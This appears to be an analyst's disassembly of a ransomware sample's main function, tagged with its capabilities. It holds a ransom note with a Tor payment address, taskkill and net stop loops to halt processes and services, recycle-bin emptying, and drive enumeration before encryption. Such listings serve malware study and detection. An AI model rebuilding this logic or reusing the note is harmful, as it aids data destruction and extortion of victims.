Function at 0x405a30
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Empty the recycle bin
Enumerate processes
Get disk information
Hash data using sha256
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x107f8
call fcn.004119e0
push esi
push edi
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
cmp dword [0x42741c], 0
jne 0x405aa4
push 0x419408
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [0x42741c], eax
test eax, eax
je 0x405a77
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x405a9c
push 0x419408
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x42741c], eax
test eax, eax
jne 0x405aa4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x405aa4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
mov dword [esp + 0x90], 0x6a09e667
xorps xmm0, xmm0
mov dword [esp + 0x80], ecx
movlpd qword [esp + 0x88], xmm0
xor esi, esi
mov dword [esp + 0x94], 0xbb67ae85
mov dword [esp + 0x98], 0x3c6ef372
mov dword [esp + 0x9c], 0xa54ff53a
mov dword [esp + 0xa0], 0x510e527f
mov dword [esp + 0xa4], 0x9b05688c
mov dword [esp + 0xa8], 0x1f83d9ab
mov dword [esp + 0xac], 0x5be0cd19
mov al, byte [esi + 0x4267e8]
mov byte [esp + ecx + 0x40], al
mov ecx, dword [esp + 0x80]
inc ecx
mov dword [esp + 0x80], ecx
cmp ecx, 0x40
jne 0x405b58
lea edx, [esp + 0x40]
mov ecx, edx
call fcn.00401410
add dword [esp + 0x88], 0x200
adc dword [esp + 0x8c], 0
xor ecx, ecx
mov dword [esp + 0x80], ecx
inc esi
cmp esi, 0x100
jb 0x405b13
lea edx, [esp + 0x20]
lea ecx, [esp + 0x40]
call fcn.004015c0
mov edi, dword [sym.imp.SHLWAPI.dll_wnsprintfA]
xor esi, esi
mov byte [esp + 0xd0], 0
nop
movzx eax, byte [esp + esi + 0x20]
push eax
push str._02x
lea eax, [esp + 0xb8]
push 0x20
push eax
call edi
add esp, 0x10
lea eax, [esp + 0xb0]
push eax
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
inc esi
cmp esi, 0x20
jne 0x405b80
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push str.Hello_dear_user._r_nYour_files_have_been_encrypted._r_n_r_n___What_does_it_mean___r_nContent_of_your_files_have_been_modified._Without_special_key_you_cant_undo_that_operation._r_n_r_n___How_to_get_special_key__r_nIf_you_want_to_get_it__you_must_pay_us_some_money_and_we_will_help_you._r_nWe_will_give_you_special_decryption_program_and_instructions._r_n_r_n___Ok__how_i_can_pay_you__r_n1__Download_TOR_browser__if_you_dont_know_how_to_do_it_you_can_google_it._r_n2__Open_this_website_in_tor_browser:__s__S_r_n3__Follow_instructions_in_chat.__r_n
call edi
xor ecx, ecx
add eax, eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004065e3
mov esi, eax
add esp, 4
test esi, esi
je 0x405c8b
lea eax, [esp + 0xd0]
push eax
push str.http:__6x7dp6h3w6q3ugjv4yv5gycj3femb24kysgry5b44hhgfwc5ml5qrdad.onion
push str.Hello_dear_user._r_nYour_files_have_been_encrypted._r_n_r_n___What_does_it_mean___r_nContent_of_your_files_have_been_modified._Without_special_key_you_cant_undo_that_operation._r_n_r_n___How_to_get_special_key__r_nIf_you_want_to_get_it__you_must_pay_us_some_money_and_we_will_help_you._r_nWe_will_give_you_special_decryption_program_and_instructions._r_n_r_n___Ok__how_i_can_pay_you__r_n1__Download_TOR_browser__if_you_dont_know_how_to_do_it_you_can_google_it._r_n2__Open_this_website_in_tor_browser:__s__S_r_n3__Follow_instructions_in_chat.__r_n
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
call edi
xor ecx, ecx
mov dword [esp + 0x30], 0
push eax
mov word [esp + 0x24], cx
lea ecx, [esp + 0x24]
push esi
mov dword [esp + 0x3c], 7
call fcn.00405f50
mov ecx, dword [0x4268fc]
cmp ecx, 8
jb 0x405c68
mov eax, dword [0x4268e8]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x405c5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405f3e
mov eax, edx
push ecx
push eax
call fcn.004060cb
add esp, 8
movups xmm0, xmmword [esp + 0x20]
push esi
movups xmmword [0x4268e8], xmm0
movq xmm0, qword [esp + 0x34]
movq qword [0x4268f8], xmm0
call fcn.00406366
add esp, 4
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x405cb5
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
cmp dword [esp + 0x14], 3
jl 0x405cfc
push str._path
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x405cfc
push 0xfffe
call fcn.00409c53
mov esi, eax
add esp, 4
test esi, esi
je 0x405cfc
mov eax, dword [esp + 0x18]
push dword [eax + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashW]
push esi
call fcn.00404b60
cmp dword [esp + 0x14], 1
jne 0x405f22
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor esi, esi
nop
push dword [esi + 0x418f98]
lea eax, [esp + 0x404]
push str._f__im__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x400]
push 1
push 0
push eax
push str.taskkill.exe
push str.open
push 0
call edi
add esi, 4
cmp esi, 0x50
jb 0x405d10
xor esi, esi
push dword [esi + 0x418fe8]
lea eax, [esp + 0x404]
push str.stop__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x400]
push 1
push 0
push eax
push str.net.exe
push str.open
push 0
call edi
add esi, 4
cmp esi, 0xe4
jb 0x405d50
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [esp + 0x1c], esi
cmp esi, 0xffffffff
je 0x405e81
push 0x22c
lea eax, [esp + 0x1d4]
push 0
push eax
call fcn.00407730
add esp, 0xc
mov dword [esp + 0x1d0], 0x22c
lea eax, [esp + 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x405e7a
xor esi, esi
nop word [eax + eax]
lea eax, [esp + 0x1f4]
push eax
push dword [esi + 0x417538]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x405e16
mov eax, dword [esp + 0x1d8]
cmp eax, 0x3e8
ja 0x405e23
add esi, 4
cmp esi, 0x1a58
jb 0x405df0
jmp 0x405e5f
push eax
lea eax, [esp + 0x404]
push str._f__PID___d_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov esi, 3
nop
push 1
push 0
lea eax, [esp + 0x408]
push eax
push str.taskkill.exe
push str.open
push 0
call edi
sub esi, 1
jne 0x405e40
mov esi, dword [esp + 0x1c]
lea eax, [esp + 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x405de3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004057a0
push 1
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
push 0
call fcn.00404d30
lea esi, [esp + 0x800]
mov eax, esi
push eax
push 0x7fff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x405f22
cmp word [esp + 0x800], 0
je 0x405f22
nop dword [eax]
push 0xfffe
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x405f0f
movzx ecx, word [esi]
push ecx
push str.__c:
push 0x7fff
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push edi
call fcn.00404b60
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [esi + eax*2]
add esi, 2
cmp word [esi], 0
jne 0x405ec0
call fcn.00401d00
call fcn.00404e00
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00409c03
int3